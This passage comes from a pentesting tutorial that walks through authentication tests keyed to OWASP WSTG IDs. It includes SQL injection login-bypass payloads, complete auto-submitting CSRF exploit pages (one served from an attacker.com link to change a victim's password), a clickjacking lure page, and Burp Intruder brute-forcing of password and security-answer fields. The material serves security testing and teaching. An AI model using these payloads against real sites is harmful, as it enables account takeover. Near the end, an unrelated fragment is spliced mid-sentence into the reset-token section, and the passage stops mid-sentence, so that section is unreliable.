(“1”=”1<br>admin”) or (“1”=”1&quot; — <br>admin”) or (“1”=”1&quot;#<br>admin”) or (“1”=”1&quot;/*<br>admin”) or “1”=”1<br>admin”) or “1”=”1&quot; — <br>admin”) or “1”=”1&quot;#<br>admin”) or “1”=”1&quot;/*<br>1234 “ AND 1=0 UNION ALL SELECT “admin”, “81dc9bdb52d04dc20036dbd8313ed055</blockquote><ul><li><a href="https://github.com/payloadbox/sql-injection-payload-list#sql-injection-auth-bypass-payloads">https://github.com/payloadbox/sql-injection-payload-list#sql-injection-auth-bypass-payloads</a></li></ul><p>You can try these in: Username field only, Password field only, or Both fields</p><p>Step 3: Observe the Response</p><ul><li>If you’re logged in → Authentication bypass confirmed</li><li>If error messages appear (e.g., SQL syntax errors) → Potentially injectable</li><li>If you get “Invalid credentials” only → May be protected (still test further)</li></ul><p>Step 4: Use Burp intruder to Modify field Requests</p><p>You can capture the login request and test payloads directly in Burp intruder.</p><p>For example:</p><blockquote>POST /login HTTP/1.1</blockquote><blockquote>Host: vulnerable.site</blockquote><blockquote>Content-Type: application/x-www-form-urlencoded</blockquote><blockquote>username=’ OR ‘1’=’1&amp;password=’ OR ‘1’=’1</blockquote><p>Add the payloads of SQL in the username and the password field.</p><p>Replay this and see the response.</p><p>Red Flags That Suggest SQL Injection is Possible</p><p>SQL error messages like:</p><ul><li>syntax error</li><li>unexpected token</li><li>unclosed quotation</li><li>MySQL server has gone away</li><li>Being logged in with no valid credentials</li><li>Page behavior changes based on your injected input</li><li>The app takes longer to respond (potential time-based SQLi)</li></ul><p>Bypass Tips</p><p>Try case variations: ‘ or ‘1’=’1, ‘ Or ‘1’=’1</p><p>Use comment markers to terminate the query:</p><blockquote>— (MySQL, PostgreSQL)</blockquote><blockquote># (MySQL)</blockquote><blockquote>/* */</blockquote><p>Try with white space variations:</p><blockquote>‘ OR’1&#39;=’1&#39; —</blockquote><blockquote>‘OR ‘1’=’1&#39; —</blockquote><p><strong>What to Report</strong></p><p>If successful, include:</p><ul><li>The vulnerable form URL</li><li>The payload that worked</li><li>Screenshot of the response / logged-in state</li><li>Affected user (if logged in as admin)</li><li>Mention if it’s blind, time-based, or error-based SQLi</li></ul><h3>WSTG-ATHN-05 — Testing for Vulnerable Remember Password</h3><p>This typically includes the “Remember Me” functionality, password managers, and token/session storage. Here’s a step-by-step guide tailored for bug bounty hunters, pentesters, or security testers to test how securely credentials and session tokens are handled on the client-side and server-side.</p><p><strong>Step 1: Check for “Remember Me” / Auto Login Behavior</strong></p><p>Goal: Ensure that selecting “Remember Me” doesn’t store credentials insecurely in local storage, cookies, or other browser-accessible places.</p><p>Tools: Burp Suite, JavaScript console</p><p>How to Test:</p><ul><li>Go to the login page. Check if it offers “Remember Me” or similar checkbox.</li><li>Log in using valid credentials with “Remember Me” enabled.</li><li>Open DevTools &gt; Application Tab: Check Local Storage, Check Session Storage. Check Cookies, Check IndexedDB or WebSQL</li><li>Search for: username, password, token, or anything sensitive</li></ul><p>Also, run this in the JavaScript console:</p><ul><li>console.log(localStorage);</li><li>console.log(sessionStorage);</li></ul><p>Red Flags:</p><ul><li>Password or username stored in plain text</li><li>Base64-encoded data (decode to check: atob(‘…’))</li><li>JWT tokens or auth tokens that never expire</li><li>Set-Cookie headers with no HttpOnly/Secure flags</li></ul><p><strong>Step2: Look for Stored Credentials</strong></p><p>We’re not just checking if the “Remember Me” feature works we’re checking where and how it stores login credentials on the client side.</p><p>How to Test</p><p>A. Search in Browser Storage</p><ul><li>Open DevTools → Application Tab and check: localStorage / sessionStorage</li><li>Look for keys like username, email, user, pass, token, auth.</li><li>See if values are in plain text or encoded (e.g., Base64).</li></ul><p>Example of a risky find:</p><blockquote>localStorage[“remember_user”] = “john@example.com”</blockquote><blockquote>localStorage[“remember_pass”] = “QmFzZTY0RW5jb2RlZA==”</blockquote><p>If decoding QmFzZTY0RW5jb2RlZA== gives password123, that’s a critical vulnerability.</p><p>B. Cookies</p><ul><li>Look for cookies that only appear when “Remember Me” is checked.</li><li>See if any contain username/password or JWT tokens.</li></ul><p>Check flags:</p><ul><li>Missing HttpOnly → Accessible via JavaScript (XSS risk).</li><li>Missing Secure → Sent over HTTP (MITM risk).</li></ul><p>C. Try Decoding</p><p>If you find encoded strings:</p><ul><li>Use Base64 decoder or browser console:</li><li>atob(“QmFzZTY0RW5jb2RlZA==”)</li><li>Try common encodings: URL encoding, ROT13, simple hex.</li></ul><p>D. Check Password Manager Behavior</p><p>Log in and see if the browser’s password manager auto-fills credentials without user interaction. If the app relies on stored credentials instead of secure tokens, it may be replicating password manager functionality insecurely.</p><p><strong>Step3: Analyze Token-Based “Remember Me”</strong></p><p>If it doesn’t store raw credentials, it may store a persistent token.</p><p>Test:</p><ul><li>Identify cookie name (e.g., remember_token, auth_token, persistent_login).</li><li>Note its value and expiration date.</li><li>Log out, then log back in without credentials see if token still works.</li><li>Copy token into another browser → see if it logs you in (indicates no device binding).</li><li>Replay token from a different IP or device using Burp Repeater or curl — if accepted → session hijacking risk.</li></ul><p><strong>Step 4:Check Token Lifetime &amp; Expiration</strong></p><p>Goal: Ensure tokens are short-lived or invalidated after key security events.</p><p>Test:</p><ul><li>Log in with “Remember Me” checked.</li><li>Log out check if token is removed.</li><li>Change password check if old token still works.</li><li>Wait beyond normal session timeout see if token still works.</li></ul><p>If expiration is set for weeks/months and token is not revoked → high risk.</p><p><strong>Step 5:Look for CSRF &amp; Clickjacking Weaknesses.</strong></p><p>Some applications store credentials in the browser (localStorage, cookies, IndexedDB) and then auto-fill or auto-login the user without requiring manual entry.</p><p>If this process lacks proper protections, attackers can:</p><p>Trigger logins or actions without the user’s knowledge (CSRF risk). Trick the user into clicking invisible buttons overlaid on another page (Clickjacking risk).</p><p><strong>CSRF in Auto-Login Scenarios</strong></p><p>Goal: Check if an attacker-controlled site can cause the victim’s browser to perform a login or sensitive action without interaction, just by visiting a malicious page.</p><p>Test Steps</p><ul><li>Identify Auto-Login Endpoint</li><li>Usually a POST or GET request to /login, /auth, /session, or /token-refresh.</li><li>Observe in DevTools &gt; Network Tab after refreshing while logged out see if it reauthenticates automatically.</li><li>Craft a Malicious Form</li></ul><blockquote>&lt;html&gt;</blockquote><blockquote>&lt;body&gt;</blockquote><blockquote>&lt;form action=”https://target.com/login&quot; method=”POST” id=”csrfForm”&gt;</blockquote><blockquote>&lt;input type=”hidden” name=”username” value=”victim@example.com”&gt;</blockquote><blockquote>&lt;input type=”hidden” name=”password” value=”password123&quot;&gt;</blockquote><blockquote>&lt;/form&gt;</blockquote><blockquote>&lt;script&gt;</blockquote><blockquote>document.getElementById(‘csrfForm’).submit();</blockquote><blockquote>&lt;/script&gt;</blockquote><blockquote>&lt;/body&gt;</blockquote><blockquote>&lt;/html</blockquote><ul><li>Replace with the real parameters the app sends during auto-login.</li><li>Host the HTML File, Save as csrf_test.html and host it on your server.</li><li>Visit it while logged into the target app (or with credentials stored in the browser).</li></ul><p>Check for Login</p><ul><li>If you land in an authenticated session without entering credentials manually, the app is vulnerable.</li></ul><p>Bonus check: If CSRF token is absent or static, the risk is higher.</p><p>Extra Variant — GET-based Auto-Login</p><p>If login happens via URL parameters (e.g., GET /auth?token=…), test by embedding:</p><p>&lt;img src=”https://target.com/auth?token=xyz123&quot; /&gt;</p><p>If this authenticates the user, it’s a severe CSRF issue.</p><p><strong>Clickjacking in Auto-Login Scenarios</strong></p><p>Goal: Determine if an attacker can overlay the login button or form in an invisible frame and trick the user into clicking it.</p><p>Test Steps</p><ul><li>Check for Clickjacking Protection</li><li>Look for security headers:</li></ul><ol><li>X-Frame-Options: DENY or SAMEORIGIN</li><li>Content-Security-Policy: frame-ancestors ‘none’;</li></ol><ul><li>If absent → Potentially frameable.</li></ul><p>Create a Clickjacking Page</p><blockquote>html</blockquote><blockquote>&lt;html&gt;</blockquote><blockquote>&lt;body&gt;</blockquote><blockquote>&lt;h1&gt;Win a Free Gift!&lt;/h1&gt;</blockquote><blockquote>&lt;iframe src=”https://target.com/login&quot; width=”800&quot; height=”600&quot; style=”opacity:0.01; position:absolute; top:50px; left:50px;”&gt;&lt;/iframe&gt;</blockquote><blockquote>&lt;button style=”position:absolute; top:70px; left:70px;”&gt;Click Here!&lt;/button&gt;</blockquote><blockquote>&lt;/body&gt;</blockquote><blockquote>&lt;/html&gt;</blockquote><ul><li>The button’s position matches the real login button inside the iframe.</li><li>Test the Interaction</li><li>Open this page in a browser while logged out but with credentials saved.</li></ul><p>If the app auto-fills credentials and the victim clicks the overlayed “fake” button, they may unknowingly log in.</p><p>Advanced Variant Auto-Login Trigger</p><ul><li>If clicking triggers instant login without password confirmation, combine clickjacking + CSRF for a chained attack.</li></ul><p><strong>Step6: Check for Insecure Transport</strong></p><p>If authentication tokens, session IDs, or credentials are sent over HTTP instead of HTTPS, anyone on the same network (or between you and the server) can intercept them.</p><p>Step-by-Step Testing Process</p><p>1. Identify Target Requests</p><ul><li>Log in to the app as a test user.</li><li>Keep your intercepting tool running (Burp Suite, OWASP ZAP, or Wireshark).</li></ul><p>Look for: Login POST requests, Any API requests that send authentication data (Authorization headers, cookies, tokens).</p><p>2. Check the Protocol</p><ul><li>In the request URL:</li></ul><blockquote>http:// = insecure</blockquote><blockquote>https:// = secure</blockquote><p>Even if the login form is loaded over HTTPS, ensure all API endpoints and resource calls also use HTTPS.</p><p>Mixed content (some resources over HTTP) can still be exploited.</p><p>3. Inspect Sent Data</p><p>In Burp Suite:</p><ul><li>Go to the HTTP history tab. Check each request.</li></ul><p>Look for:</p><ul><li>Authorization: headers</li><li>Cookies (sessionid, auth_token, jwt, etc.)</li><li>Plaintext credentials in POST bodies (username, password).</li></ul><p>In Wireshark:</p><ul><li>Filter for http traffic.</li><li>See if the packet payload shows credentials or tokens.</li></ul><p>4. Look for Session Hijacking Risk</p><p>If you find a session cookie or token in plaintext: Try copying it. Replay a request in a browser or Burp with that token set see if you get access without logging in.</p><p>If successful → critical issue (Session Hijacking).</p><p>5. Test Downgrade Possibility</p><ul><li>Try accessing the same endpoint over http:// instead of <a href="https://./">https://.</a></li><li>If it still responds and sends credentials → downgrade attack possible.</li></ul><p>Check if HSTS (HTTP Strict Transport Security) is enabled:</p><ul><li>In Chrome DevTools → Network tab → look for Strict-Transport-Security header.</li><li>If missing → attacker could force HTTP usage.</li></ul><p>Common Vulnerable Patterns</p><ul><li>Storing username/password in:</li><li>Cookies (even if Base64 or reversible encrypted)</li><li>HTML source (&lt;input type=”hidden” value=”password”&gt;)</li><li>localStorage/sessionStorage</li><li>Persistent tokens that:</li><li>Never expire</li><li>Are not bound to device/browser fingerprint</li><li>Survive password changes</li><li>Auto-login logic vulnerable to CSRF or Clickjacking</li><li>No way for user to view or revoke active sessions</li></ul><h3>WSTG-ATHN-06 — Testing for Browser Cache Weaknesses</h3><p>Goal: Ensure that sensitive information is not cached or retrievable via browser history/back button after logout.</p><p>Browsers try to improve user experience by caching data (to load faster) and storing history (for navigation). But if sensitive data like usernames, credit card info, or internal pages are cached, unauthorized users could retrieve it just by pressing the Back button or browsing cache files even after logout.</p><p>Step-by-Step</p><p>Step 1: Basic Back Button Test</p><p>Purpose: Check if sensitive info is retrievable after logout.</p><p>How to Test:</p><ul><li>Login to the application and visit sensitive pages: e.g., /profile, /billing, /dashboard, etc.</li><li>Log out from the app properly.</li><li>Now press the Back button in the browser.</li></ul><p>Observe what happens:</p><ul><li>Does it load the cached page (with user data)? Or redirect you back to the login page?</li></ul><p>What to Look For: Behavior Meaning</p><ul><li>Redirects to login or shows blank page Good cache is not leaking data</li><li>“Shows user profile, data, or dashboard” Vulnerable to history caching</li></ul><p>Step 2: Check HTTP Response Headers</p><p>Purpose: See if the server instructs the browser not to cache pages.</p><p>Tools: Burp Suite, ZAP Proxy, Browser DevTools → Network Tab</p><p>How to Test:</p><ul><li>Log in to the application normally.</li><li>In Burp Suite, go to the Proxy tab → HTTP History.</li><li>Navigate to a sensitive/authenticated page (e.g., dashboard, user profile, admin panel).</li><li>In Burp, find the request to that page and click on it.</li><li>In the right panel, switch to the “Response” tab.</li><li>Look under the “Headers” section of the response.</li></ul><blockquote>Cache-Control: no-store, no-cache, must-revalidate, max-age=0, s-maxage=0</blockquote><blockquote>Pragma: no-cache</blockquote><blockquote>Expires: 0</blockquote><p>What to Look For:</p><ul><li>Header Missing Problem : Cache-Control not set Browser might cache sensitive info</li><li>Pragma: no-cache (for older HTTP/1.0 clients) missing Vulnerable for legacy systems</li><li>Expires: 0 or past date missing Could cache data longer than needed</li></ul><h3>WSTG-ATHN-07 — Testing for Weak Password Policy</h3><p>Goal: To check whether an application allows users to create weak, guessable, or reused passwords, and whether its password policies can resist brute-force and dictionary attacks.</p><p>Step-by-step testing guide</p><ol><li>Minimum &amp; Maximum Password Length</li></ol><p>What to Check:</p><ul><li>Whether the app accepts too-short or too-long passwords.</li></ul><p>How to Test:</p><ul><li>Go to the signup or change password form.</li></ul><p>Try entering:</p><ul><li>A password with 1–4 characters (a, abc, 1234)</li><li>A very long password (copy-paste 200 characters)</li></ul><p>Submit and observe the response.</p><p>Expected:</p><ul><li>Should reject passwords under 8–10 characters.</li><li>Should allow long passwords up to 64–128 characters.</li></ul><p>2. Character Set Requirements</p><p>What to Check:</p><ul><li>If the app enforces or allows diverse character sets.</li></ul><p>How to Test:</p><ul><li>Try passwords like:</li><li>testuser → all lowercase</li><li>TESTUSER → all uppercase</li><li>12345678 → numbers only</li><li>@#^&amp;*! → special chars only</li><li>P@ssw0rd123! → mix of all</li></ul><p>Expected:</p><ul><li>Should allow mixed char sets.</li><li>Should not reject special characters or force too strict combinations.</li></ul><p>3. Password Blacklist</p><p>What to Check: Does the app allow common, known weak passwords?</p><p>How to Test: Try setting passwords like:</p><ul><li>123456, password, qwerty, admin123, iloveyou</li></ul><p>Use: Signup page</p><ul><li>Change password form</li><li>Try in Burp if frontend validation blocks testing.</li></ul><p>Expected:</p><ul><li>Should block the top 1000 weak passwords.</li><li>May show a generic message: “Password is too common.”</li></ul><p>4. Username Inclusion in Password.</p><p>What to Check: Whether password contains the username or email.</p><p>How to Test:</p><p>Register with:</p><blockquote>Username: john</blockquote><blockquote>Password: john123, john@123</blockquote><blockquote>Or try your_email@example.com as part of password.</blockquote><p>Expected:</p><ul><li>Should reject passwords that include username or email.</li><li>Should show a generic error.</li></ul><p>5. Password Reuse</p><p>What to Check: Does the app prevent you from reusing the same password?</p><p>How to Test:</p><ul><li>Set password: SecurePass@1</li><li>Change it to something else.</li><li>Change it again, back to SecurePass@1</li><li>Repeat several times if needed.</li></ul><p>Expected:</p><ul><li>Should block reuse of the last 5–10 passwords.</li><li>Error like “You’ve used this password recently.”</li></ul><p>6. Password Change Frequency</p><p>What to Check: Can the user change passwords too quickly to bypass reuse restrictions?</p><p>How to Test:</p><ul><li>Change password 3–5 times quickly in a row.</li><li>Try setting the original password again.</li></ul><p>Expected:</p><ul><li>Should limit password change rate (e.g., 1/hour).</li><li>Should prevent use of the same password even after several changes.</li></ul><p>7. Password Expiry Policy</p><p>What to Check: Does the app enforce expiry, or allow long-living passwords/sessions?</p><p>How to Test:</p><ul><li>Sign up → Do NOT log in for 30+ days (manual test or ask the devs).</li><li>Check policy docs or application settings.</li><li>Ask the app for password change history (if possible).</li><li>Check token/session lifetime in DevTools → Application → Cookies.</li><li>This one not recommended from me. (It take too much time)</li></ul><p>Expected:</p><ul><li>Passwords should not expire unless there’s a compromise.</li><li>Long-living sessions should still timeout after inactivity.</li></ul><p>8.Password Storage (Client-Side)</p><p>What to Check: Is the password stored anywhere insecurely on the client?</p><p>How to Test:</p><p>A. Check Browser Storage:</p><ul><li>Open browser DevTools</li><li>Go to Application tab</li></ul><p>Check: localStorage, sessionStorage, Cookies</p><p>Look for keys like password, auth, userPass.</p><p>B. Check HTML: Right-click password field → Inspect Element</p><ul><li>Ensure no pre-filled value is stored or visible.</li></ul><p>C. Intercept Request:</p><p>Use Burp Suite or ZAP to:</p><ul><li>Intercept login/signup requests.</li><li>Check if the password is transmitted in plain text or stored in responses.</li></ul><p>Expected: Passwords should not be stored in HTML, JavaScript variables, or browser storage.</p><p>Passwords should be transmitted over HTTPS only.</p><p>Report Example (If Vulnerable)</p><ul><li>Title: Weak Password Policy Allows Use of Common/Insecure Passwords</li><li>Description: Application allows passwords like 123456 and admin123, with no minimum length or complexity requirements.</li><li>Impact: Easily guessed passwords increase risk of account compromise.</li><li>Evidence: Screenshot of account creation with weak password.</li><li>Suggested Fix: Enforce strong password policy with denylist and minimum length of 10 characters. Consider MFA.</li></ul><h3>WSTG-ATHN-08 — Test for weak security question answers.</h3><p>Security questions and answers are often used to recover forgotten passwords (see Testing for weak password change or reset functionalities, or as extra security on top of the password.</p><p>Step-by-Step:</p><p><strong>Step 1: Enumerate Available Security Questions</strong></p><p>Goal: Find out what questions the application offers during account registration or password recovery.</p><p>How to Do It:</p><ul><li>Go to Sign-Up or Forgot Password page.</li><li>Note all pre-defined questions like:</li></ul><ol><li>What is your mother’s maiden name?</li><li>What is your first school?</li><li>What is your favorite color?</li></ol><p>If available, try registering multiple accounts to reveal the full list.</p><p>Red Flags:</p><ul><li>Questions based on publicly available info (e.g., birthday, hometown).</li><li>Guessable/frequent answers (favorite food, pet name).</li><li>Low entropy questions (answers with few variations).</li></ul><p><strong>Step 2: Test for Custom (User-Generated) Security Questions</strong></p><p>Goal: See if the system lets users create their own questions which can lead to very insecure setups.</p><p>How to Do It:</p><ul><li>Register a new account or modify your profile.</li><li>Check if the app allows custom security question input.</li></ul><p>Enter questions like:</p><ul><li>What is 1+1?</li><li>My password is S3cur3!</li><li>What’s my username?</li></ul><p>Red Flags:</p><ul><li>No validation on custom questions/answers.</li><li>Allows answers with known values (like username).</li><li>Short or overly simple questions.</li></ul><p><strong>Step 3: Assess Guessability of Answers</strong></p><p>Goal: Determine if common or brute-forceable answers can be used to reset passwords.</p><p>How to Do It:</p><ul><li>Identify the security question used (by registering or resetting).</li><li>Try guessing answers manually using:</li><li>Popular answers lists (common names, colors, pet names).</li><li>Social media data (LinkedIn, Facebook, Instagram).</li></ul><p>Try scripting brute-force answers using tools like:</p><ul><li>Burp Suite Intruder (send payloads to answer fields).</li><li>Hydra (for password reset endpoints).</li><li>Custom Python script for form submissions.</li></ul><p>Examples:</p><ol><li>What is your favorite color? → Red, Blue, Black, Green</li><li>What is your first school? → Central High, Greenwood, etc.</li><li>Pet name? → Buddy, Max, Bella, Coco</li></ol><p>Red Flags:</p><ul><li>Only one question required for reset.</li><li>Short, predictable answers.</li><li>No rate-limiting or account lockout after failed guesses.</li></ul><p><strong>Step 4: Test Brute-Force Protection on Answer Field</strong></p><p>Goal: Check if the app has lockout or rate limiting for wrong answers.</p><p>How to Do It: Try intentionally entering 5–10 incorrect answers to the same question.</p><p>Monitor if:</p><ul><li>The field becomes disabled.</li><li>The account is temporarily locked.</li><li>You get blocked (403 or CAPTCHA appears).</li><li>Intercept with Burp Suite, then replay with Intruder using different answers.</li></ul><p>Red Flags:</p><ul><li>No rate limiting.</li><li>Unlimited tries allowed.</li><li>No CAPTCHA or delay between attempts.</li></ul><p><strong>Step 5: Try Enumeration or OSINT Attacks</strong></p><p>Goal: Use Open Source Intelligence (OSINT) to gather likely answers.</p><p>How to Do It:</p><p>Search target user’s:</p><ul><li>Social media: Facebook, Instagram, Twitter, LinkedIn</li><li>Blog or bio pages</li><li>GitHub README or dev profiles</li></ul><p>Look for: Pet names, Hometown, Favorite band or food, First job/school</p><p>Tools: theHarvester, Maltego, Google Dorks:</p><p>Red Flags:</p><ul><li>Questions that can be easily answered from public data.</li></ul><p><strong>Step 6: Try Password Reset with Found Answer</strong></p><p>Goal: Attempt full exploitation by resetting the password using your guessed answer.</p><p>How to Do It:</p><ul><li>Go to Forgot Password page.</li><li>Input known or guessed username/email.</li><li>Answer the question with your guess (e.g., “Blue”, “Max”, etc.).</li></ul><p>Try setting a new password. Success: You’re able to reset the password using the guessed security question → High risk!</p><p>What to Include in a Report (if Vulnerable)</p><ul><li>Vulnerability: Weak Security Question Answer</li><li>Description: Security questions allow password reset with guessable, low-entropy answers such as “Red” or “Max”. No brute-force protection is implemented.</li></ul><p>Steps to Reproduce: Go to /forgot-password, Input testuser, Select question: “What is your favorite color?” Input Blue</p><p>Password reset allowed</p><p>Impact: Account takeover risk without knowing password.</p><p>Severity: High (especially if no MFA is enabled)</p><p>Recommendation: Replace with MFA (email/SMS/app). Block custom questions. Block weak answers. Add lockout and CAPTCHA after failed attempts.</p><h3>WSTG-ATHN-09 — Testing for Weak Password Change or Reset Functionalities</h3><p>Password change and reset flows are the “keys to the kingdom.” If they’re poorly implemented, an attacker can:</p><p>Change another user’s password, Reset passwords without authorization, Bypass authentication, Lock out legitimate users, Harvest stored passwords if sent/displayed in plaint, Testing the Password Change Functionality</p><p>Step-by-Step Testing</p><p><strong>Step 1: Check if Old Password is Required</strong></p><p>Why? If not required, session hijacking leads directly to account takeover.</p><p>How to Test:</p><ul><li>Log in as a normal user.</li><li>Go to “Change Password” form.</li><li>Intercept the request in Burp Suite / OWASP ZAP.</li><li>Remove or modify the current_password parameter.</li><li>Submit request with only new_password and confirm_password.</li></ul><p>Bad Behavior Example:</p><ul><li>POST /change-password</li><li>new_password=Hacked123&amp;confirm_password=Hacked123</li><li>Password changes without old password.</li></ul><p>Good Behavior Example:</p><ul><li>Server responds with HTTP 400 / 403 and error message: “Current password required.”</li></ul><p><strong>Step 2: Test for CSRF Vulnerability</strong></p><p>Without CSRF protection, attackers can force logged-in users to change their password without consent.</p><p>1. Capture the Legitimate Password Change Request in Burp</p><p>Example (from Burp HTTP history).</p><blockquote>POST /change-password HTTP/1.1</blockquote><blockquote>Host: vulnerable-site.com</blockquote><blockquote>Cookie: sessionid=abc123</blockquote><blockquote>Content-Type: application/x-www-form-urlencoded</blockquote><blockquote>Content-Length: 44</blockquote><blockquote>current_password=OldPass123&amp;new_password=Hacked123</blockquote><p>You might also see:</p><blockquote>csrf_token=xyz789</blockquote><p>If the site is vulnerable, this token might not be checked.</p><p>2. Remove CSRF Token or Keep It Static</p><ul><li>If you see: csrf_token=xyz789</li><li>Delete it entirely from the POST data or</li><li>Replace it with a random/empty value to see if it still works.</li></ul><p>If it still works → CSRF protection is missing or broken.</p><p>3. Convert the Request into an HTML Exploit</p><p>We create an HTML page that automatically sends this POST request when the victim opens it.</p><p>Example CSRF Exploit Page:</p><blockquote>&lt;html&gt;</blockquote><blockquote>&lt;body&gt;</blockquote><blockquote>&lt;form action=”https://example.com/change-password&quot; method=”POST” id=”csrfForm”&gt;</blockquote><blockquote>&lt;input type=”hidden” name=”current_password” value=”OldPass123&quot;&gt;</blockquote><blockquote>&lt;input type=”hidden” name=”new_password” value=”Hacked123&quot;&gt;</blockquote><blockquote>&lt;/form&gt;</blockquote><blockquote>&lt;script&gt;</blockquote><blockquote>document.getElementById(“csrfForm”).submit();</blockquote><blockquote>&lt;/script&gt;</blockquote><blockquote>&lt;/body&gt;</blockquote><blockquote>&lt;/html&gt;</blockquote><ul><li>Host This HTML File, Save the file as csrf.html.</li><li>Upload it somewhere the victim can access (could be your local server, GitHub Pages, etc.).</li><li>Or even send it as an HTML attachment (depending on rules of the test).</li></ul><p>5. Send the Link to the Victim</p><ul><li>Example: <a href="http://attacker.com/csrf.html">http://attacker.com/csrf.html</a></li><li>If the victim is already logged in to vulnerable-site.com in their browser, simply visiting this page will send the POST request using their cookies/session changing the password without them knowing.</li></ul><p>6. Variations</p><p>GET-based endpoints are even easier you can just send a link like:</p><ul><li><a href="https://example.com/change-password?new_password=Hacked123">https://example.com/change-password?new_password=Hacked123</a></li></ul><p>and it works instantly in a normal &lt;img&gt; or &lt;a&gt; tag.</p><p><strong>Step 3: Check for Rate Limiting.</strong></p><p>An attacker could brute-force old passwords if change form validates them.</p><p>Step-by-Step.</p><p><strong>1.Identify the Target</strong></p><ul><li>Find the password change endpoint (e.g., /change-password, /user/update-password).</li><li>This request will contain:</li></ul><blockquote>current_password (old password)</blockquote><blockquote>new_password (new password)</blockquote><blockquote>Possibly CSRF token / session cookie</blockquote><ul><li>Prepare for Brute-Force Testing, Send the captured request to Burp Intruder: Right-click → “Send to Intruder”.</li></ul><p>In Intruder:</p><ul><li>Mark the current_password value as a payload position (highlight it → click Add §).</li><li>Keep all other fields (new password, CSRF token if needed) valid.</li><li>The new password can be something simple for testing like Test@12345.</li><li>Go to the Payloads (sniper) tab in Intruder.</li><li>Load a wordlist of common old passwords or small brute-force set for testing. Example: password, 123456, qwerty, Pass@123, etc.</li></ul><p>Start the Intruder attack.</p><ul><li>Watch the status codes and response lengths.</li><li>Look for Rate Limiting Indicators If no rate limiting: All requests respond normally.</li><li>No change in status code (e.g., all 200 OK).</li><li>No CAPTCHAs or delays.</li><li>If you guess the correct old password, it updates without restriction.</li></ul><p>If rate limiting exists:</p><ul><li>After X failed attempts:</li><li>Status code might change (e.g., 429 Too Many Requests).</li><li>Response might say “Too many failed attempts”.</li><li>The account might get locked temporarily.</li><li>CAPTCHA might appear in the response.</li><li>Requests might slow down due to server-side delays.</li></ul><p><strong>2. Testing the Password Reset Functionality.</strong></p><p>Step-by-Step Testing</p><p><strong>Step 1: Identify Required Information.</strong></p><p>Why It Matters: When a password reset form reveals whether a username, email, or phone number exists in the system, it allows an attacker to enumerate accounts.</p><p>With this information, they can:</p><ul><li>Target specific users for phishing or credential stuffing.</li><li>Confirm if a victim is registered on a platform.</li><li>Use the data in social engineering attacks.</li></ul><p>How to Test for Account Enumeration.</p><ul><li>Find the Reset/Recovery Form</li><li>Locate the “Forgot Password?” or “Account Recovery” link.</li><li>Determine the exact input the form asks for: Email, Username, Phone number, Combination of these</li></ul><p><strong>2. Submit Known and Unknown Inputs</strong></p><ul><li>Use a valid email/username (one you know exists, such as your test account).</li><li>Use an invalid or random email/username (not in the system).</li></ul><p>Example test data:</p><ul><li>Valid: testuser@example.com</li><li>Invalid: randomnotexist@example.com</li></ul><p>3. Compare Responses (via Burp Suite)</p><p>Look for differences in:</p><ul><li>Error messages</li><li>HTTP status codes</li><li>Response time</li><li>Page redirection</li><li>Hidden HTML or JSON responses</li></ul><p>Bad Example (Enumeration Possible)</p><ul><li>Valid email: “Password reset link sent to your email.”</li><li>Invalid email: “Email not found.”</li></ul><p>An attacker can quickly find which accounts exist.</p><p>Good Example (Enumeration Mitigated)</p><ul><li>Both cases show: “If an account exists, a reset link will be sent.”</li></ul><p>This keeps attackers guessing and prevents enumeration.</p><p><strong>Step 2: Analyze Reset Link/Token</strong></p><p>Why? Password reset tokens are essentially one-time keys to a user’s account.</p><p>If they are predictable, reusable, long-lived, or weakly generated, attackers can bypass authentication entirely.</p><p>How to Test</p><p>1. Request a Reset Link</p><ul><li>Initiate the “Forgot Password” process for a valid account.</li><li>Capture the password reset email (through a testing account you control).</li><li>Extract the full URL usually in the format: <a href="https://target.com/reset?token=abc123">https://target.com/reset?token=abc123</a></li><li>Record token length, format, and parameters.</li></ul><p>2. Check for Predictability</p><ul><li>Compare multiple tokens generated for different accounts and times.</li><li>Look for patterns:</li><li>1. Incrementing numbers (e.g., abc123 → abc124)</li><li>2. Encoded timestamps (e.g., base64 of your current time, date similar to anything like that )</li><li>3. Short fixed-length strings (e.g., 6–8 chars)</li></ul><p>If patterns exist, try guessing tokens for other users.</p><p>3. Test for Reusability</p><ul><li>Use the reset link once to set a new password.</li><li>Immediately try re-using the same token.</li><li>If it works a second time → Critical vulnerability.</li></ul><p>Try using the token from another browser/session or even another IP.</p><p>4. Test Expiration Handling</p><ul><li>Wait beyond the intended expiry time (e.g., 30 min).</li><li>Check if the link still works if yes, report as Improper Token Expiration.</li></ul><p>5. Test Old Tokens</p><ul><li>Generate a reset token but don’t use it.</li><li>Later (after requesting another reset) try the first token again.</li><li>Tokens should be invalidated immediately when a new one is issued.</li></ul><p>6. Check Token Length and Entropy</p><p>Good security:</p><ul><li>Length: ≥ 32 characters Character set: Uppercase, lowercase, numbers, and symbols Generation: Secure random (e.g., crypto.randomBytes() in Node.js, SecureRandom in Java)</li></ul><p>If token length is too short or character variety is limited → higher risk of brute-forcing.</p><p>7. Look for Token Exposure</p><p>Ensure the token never appears in logs, referrer headers, analytics scripts, or GET requests that might be stored. If the reset form sends token via HTTP GET instead of POST, confirm the application is using HTTPS and avoiding leaks to third parties.</p><p>Good Practice Checklist</p><ul><li>Token is cryptographically random and at least 32 chars long</li><li>Token expires in 10–30 minutes</li><li>Token is single-use only</li><li>Old or unused tokens are immediately invalidated</li><li>Token is bound to the requesting IP/session (optional, but increases security)</li></ul><p>Token is only accepted over HTTPSmportant to analyze how data travels between the client and the server. This involves inspecting the transport layer and identifying whether the information is encrypted or exposed in transit.</p><p>When you log into a website or create an account, your sensitive information like your u</p><p><strong>Step 3: Check for Confirmation Requirement</strong></p><p>This is about making sure that a password reset isn’t applied immediately after you request it because if it is, attackers could abuse it to lock people out or even take over accounts.</p><p>Check for Confirmation Requirement</p><p>Why? Prevents DOS &amp; unauthorized resets.</p><p>How to Test: Trigger password reset.</p><p>Observe if:</p><ul><li>Password changes immediately ❌</li><li>User must click a confirmation link ✅</li></ul><p><strong>Step4: Check How Password is Communicated.</strong></p><p>If a system shows or sends passwords in plaintext during reset, it means: Passwords are either stored in plaintext or using reversible encryption (very unsafe). Attackers with DB or email access could instantly compromise accounts. It violates industry standards like OWASP ASVS, NIST 800–63B, and GDPR requirements for secure credential handling.</p><p>How to Test</p><ul><li>Go through the full password reset process for your account.</li></ul><p>Watch for: On-Screen Display: After resetting, does it show something like</p><ul><li>“Your new password is: MyNewPass123”</li></ul><p>Email Communication:</p><ul><li>If the reset email contains the new password in cleartext critical issue.</li></ul><p>This means the password was either 